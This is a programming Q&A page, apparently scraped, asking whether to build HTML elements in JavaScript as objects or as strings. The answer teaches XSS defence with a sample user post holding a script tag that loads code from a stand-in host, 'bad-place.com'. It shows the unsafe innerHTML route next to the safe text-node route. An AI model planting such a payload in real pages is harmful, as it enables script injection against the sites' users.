Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 8334837
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 9, 20262026-06-09T03:28:40+00:00 2026-06-09T03:28:40+00:00

Pretty simple question that I couldn’t find an answer to, maybe because it’s a

  • 0

Pretty simple question that I couldn’t find an answer to, maybe because it’s a non-issue, but I’m wondering if there is a difference between creating an HTML object using Javascript or using a string to build an element. Like, is it a better practice to declare any HTML elements in JS as JS objects or as strings and let the browser/library/etc parse them? For example:

jQuery('<div />', {'class': 'example'});

vs

jQuery('<div class="example></div>');

(Just using jQuery as an example, but same question applies for vanilla JS as well.)

It seems like a non-issue to me but I’m no JS expert, and I want to make sure I’m doing it right. Thanks in advance!

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-09T03:28:41+00:00Added an answer on June 9, 2026 at 3:28 am

    They’re both “correct”. And both are useful at different times for different purposes.

    For instance, in terms of page-speed, these days it’s faster to just do something like:

    document.body.innerHTML = "<header>....big string o' html text</footer>";
    

    The browser will spit it out in an instant.

    As a matter of safety, when dealing with user-input, it’s safer to build elements, attach them to a documentFragment and then append them to the DOM (or replace a DOM node with your new version, or whatever).

    Consider:

    var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>",
        paragraph = "<p>" + userPost + "</p>";
    
    commentList.innerHTML += paragraph;
    

    Versus:

    var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>",
        paragraph = document.createElement("p");
    
        paragraph.appendChild( document.createTextNode(userPost) );
        commentList.appendChild(paragraph);
    

    One does bad things and one doesn’t.

    Of course, you don’t have to create textNodes, you could use innerText or textContent or whatever (the browser will create the text node on its own).

    But it’s always important to consider what you’re sharing and how.

    If it’s coming from anywhere other than a place you trust (which should be approximately nowhere, unless you’re serving static pages, in which case, why are you building html?), then you should keep injection in mind — only the things you WANT to be injected should be.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

pretty simple question I have here, but I couldn't find the answer: Assume I
A pretty simple question, but I couldn't find an example for it: How do
This a pretty simple question (I assume). Probably a repost, but I couldn't find
This should be a pretty simple regex question but I couldn't find any answers
I saw there are similar question to this. But I couldn't find an answer.
Pretty simple questions. And yes, maybe not (that) important, but I'm really curious what
Pretty simple question. I've got some Polygons and GroundOverlays defined in KML. Is there
This is a pretty simple question but I'm somewhat stumped. I am capturing sections
This is a pretty simple question and I'm assuming the answer is It doesn't
My question is pretty simple, but I am having a hard time finding any

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.